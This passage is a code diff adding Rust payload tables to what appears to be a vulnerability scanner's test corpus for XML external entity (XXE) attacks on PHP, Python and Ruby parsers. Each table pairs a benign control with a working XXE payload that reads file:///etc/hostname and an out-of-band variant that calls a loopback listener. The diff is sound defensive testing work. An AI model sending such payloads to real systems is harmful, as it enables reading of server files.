||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<data>hello</data>"#,
|
||||
label: "xxe-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
98
src/dynamic/corpus/xxe/python.rs
Normal file
98
src/dynamic/corpus/xxe/python.rs
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
//! Python `Cap::XXE` payloads — `lxml.etree.XMLParser(resolve_entities=True)`.
|
||||
//!
|
||||
//! Vuln payload: an XML document declaring an external entity that
|
||||
//! the harness's instrumented parser (`resolve_entities=True`)
|
||||
//! expands inside `<data>`; the shim writes
|
||||
//! `ProbeKind::Xxe { entity_expanded: true }` once it sees the entity
|
||||
//! body substitute into the parsed tree.
|
||||
//!
|
||||
//! Benign control: a well-formed XML document with no doctype, so the
|
||||
//! parser has nothing to resolve and the shim writes
|
||||
//! `entity_expanded: false`.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-21): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`], the runner materialises this
|
||||
//! payload's bytes as a loopback URL and the Python harness wraps the
|
||||
//! URL into `<!ENTITY xxe SYSTEM "URL">`. Expat's external-entity hook
|
||||
//! performs a real `urllib.request.urlopen` against the URL so the
|
||||
//! listener records the per-finding nonce. Ordered first so the runner
|
||||
//! exercises the OOB observation path before the doctype-entity vuln
|
||||
//! triggers and short-circuits the iteration; runs without a listener
|
||||
//! skip cleanly (the runner's `oob_nonce_slot` branch `continue`s when
|
||||
//! [`crate::dynamic::sandbox::SandboxOptions::oob_listener`] is None).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
// OOB-nonce XXE variant. Ordered first so the harness exercises the
|
||||
// OOB observation path before the doctype-entity vuln below triggers
|
||||
// and breaks iteration. Self-confirming via [`Oracle::OobCallback`];
|
||||
// no paired benign control because a benign URL can never hit the
|
||||
// per-finding nonce path. Runs only when an [`OobListener`] is
|
||||
// attached; the runner's `oob_nonce_slot` branch skips otherwise.
|
||||
CuratedPayload {
|
||||
bytes: b"",
|
||||
label: "xxe-python-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/python/vuln.py"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce XXE payload self-confirms via the per-finding listener \
|
||||
callback when expat's external-entity hook fetches the loopback \
|
||||
URL; no benign URL can hit the nonce path so no paired control \
|
||||
is meaningful.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
||||
]>
|
||||
<data>&xxe;</data>"#,
|
||||
label: "xxe-python-doctype-entity",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xxe-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<data>hello</data>"#,
|
||||
label: "xxe-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
86
src/dynamic/corpus/xxe/ruby.rs
Normal file
86
src/dynamic/corpus/xxe/ruby.rs
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
//! Ruby `Cap::XXE` payloads — REXML / Nokogiri document parsers.
|
||||
//!
|
||||
//! Vuln payload: an XML document declaring an external entity that
|
||||
//! the harness's instrumented parser expands inside `<data>`; the
|
||||
//! shim writes `ProbeKind::Xxe { entity_expanded: true }` once it
|
||||
//! sees the entity body substitute into the parsed output.
|
||||
//!
|
||||
//! Benign control: a well-formed XML document with no doctype, so
|
||||
//! the parser has no entity to resolve and the shim writes
|
||||
//! `entity_expanded: false`.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-21): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness's
|
||||
//! `_nyx_build_xxe_document` helper performs a real `Net::HTTP.start`
|
||||
//! against the loopback URL so the listener records the per-finding
|
||||
//! nonce. Ordered first so iteration exercises OOB before the
|
||||
//! doctype-entity vuln triggers and short-circuits.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"",
|
||||
label: "xxe-ruby-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/ruby/vuln.rb"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce XXE payload self-confirms via the per-finding listener \
|
||||
callback when the Ruby harness performs the loopback GET before \
|
||||
building the DTD; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
||||
]>
|
||||
<data>&xxe;</data>"#,
|
||||
label: "xxe-ruby-doctype-entity",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xxe-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<data>hello</data>"#,
|
||||
label: "xxe-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
Loading…
Add table
Add a link
Reference in a new issue